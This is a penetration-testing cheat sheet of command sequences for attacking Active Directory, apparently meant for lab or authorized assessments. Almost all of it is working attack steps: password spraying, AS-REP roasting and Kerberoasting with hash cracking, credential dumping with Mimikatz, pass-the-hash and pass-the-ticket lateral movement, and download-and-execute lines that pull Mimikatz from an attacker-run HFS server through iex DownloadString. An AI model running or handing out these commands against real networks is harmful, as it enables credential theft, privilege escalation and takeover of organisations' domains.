Active Directory Penetration Testing

Initial Access	
Method	**Command**
Password Spraying	• . .\DomainPasswordSpray.ps1 • Involve-DomainPasswordSpray -UserList .*USERFILE* -Password *PASS* • Add -Verbose if needed • Y

Enumeration	
Method	**Command**
AD Enumeration BloodHound	• cd C:\tools\BloodHound\BloodHound\resources\app\Collectors • powershell -ep bypass • . .\SharpHound.ps1 • Invoke-Bloodhound -CollectionMethod All • It will generate a .ZIP folder • cd C:\tools\BloodHound\BloodHound and open the BloodHound app • UP: neo4j | P assword@123 • Click on Upload Data (Top Right) and upload the .ZIP • Click on burger menu (Top left) → Database Info → Scroll down → Refresh database stats → Analysis → Choose the needed option
AD Enumeration PowerView	• powershell -ep bypass • . .\PowerView.ps1 • Get-NetUser | Select-Object -Property samaccountname • Get-NetUser -PreauthNotRequired | select samaccountname, useraccountcontrol (These are AS-REP roastable accounts) • Get-Domain • Get-Domain -Domain *DOMAINNAME* • Get-DomainSID • Get-DomainController • Get-DomainUser • Get-DomainUser -Identity *USERNAME* • Get-NetComputer • Get-NetGroup (-username "*USERNAME*" to check group of a user) • Get-NetGroupMember "*GROUPNAME*" (Check Domain Admins group) • Find-DomainShare -ComputerName *COMPUTERNAME* -verbose • Get-NetShare • Get-NetGPO • Get-NetOU • Get-NetDomainTrust • Get-NetForest • Get-NetForestDomain

Privilege Escalation	
Method	**Command**
AS-REP Roasting	• powershell -ep bypass • . .\PowerView.ps1 • Get-Domainuser | Where-Object { $_.UserAccountControl -like “*DONT_REQ_PREAUTH*” } • Check for samaccountname • .\Rubeus.exe asreproast /usr:*USERNAME* /outfile:hash.txt • .\john.exe .*PATH_TO_HASHFILE* --format=krb5asrep --wordlist=10k-worst-pass.txt
Kerberoasting	• powershell -ep bypass • . .\PowerView.ps1 • Get-NetUser | Where-Object {$_.servicePrincipalName} | fl • setspn -T research -Q */* (Get SPN of user) • Add-Type -AssemblyName System.IdentityModel • New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “*SPN*” • . .\Invoke-Mimikatz.ps1 • Invoke-mimikatz -Command “‘Kerberos::list /export”’ • python.exe .\kerberoast-Python3\tgsrepcrack.py .\10k-worst-pass.txt .*TICKETFILE*

Lateral Movement	
Method	**Command**
Pass the Hash	• powershell -ep bypass • . .\PowerView.ps1 • Get-Domain • Find-LocalAdminAccess • Enter-PSSession *PCNAME* • Run HFS on the local system (Not the PSSession) • Menu → Add Files → Upload Invoke-Mimikatz.ps1 & Invoke-TokenManipulation.ps1 • Copy HFS IP Address • In PSSession: iex (New-Object Net.WebClient).DownloadString(‘*HFSIP/FileName*’) • Invoke-TokenManipulation -Enumerate (Logontype 2 is interesting) • Invoke-Mimikatz -Command ‘”privilege::debug” “token:elevate” “sekurlsa::logonpasswords”’ • Run a new powershell cmd as Administrator • Go to \Tools and write powershell -ep bypass as well as . .\Invoke-Mimikatz.ps1 • Invoke-Mimikatz -Command ‘”sekurlsa::pth /user:administrator /domain:*domain* /ntlm:*NTLMHASH* /run:powershell.exe”’ • Enter-PSSession prod.research.SECURITY.local (Domain Controller Machine)
Pass the Ticket	• poweshell – ep bypass • . .\PowerView.ps1 • Get-Domain • Find-LocalAdminAccess • Enter-PSSession *PCNAME* • Run HFS on the local system (Not the PSSession) • Menu → Add Files → Upload Invoke-Mimikatz.ps1 & Invoke-TokenManipulation.ps1 • Copy HFS IP Address • In PSSession: iex (New-Object Net.WebClient).DownloadString(‘*HFSIP/FileName*’) • Invoke-Mimikatz -Command ‘”sekurlsa::tickets /export”’ • Invoke-Mimikatz -Command ‘”kerberos::ptt *TICKET*”’ • ls \\DOMAINCONTROLLERNAME\c$ (If it lists it, then we got access)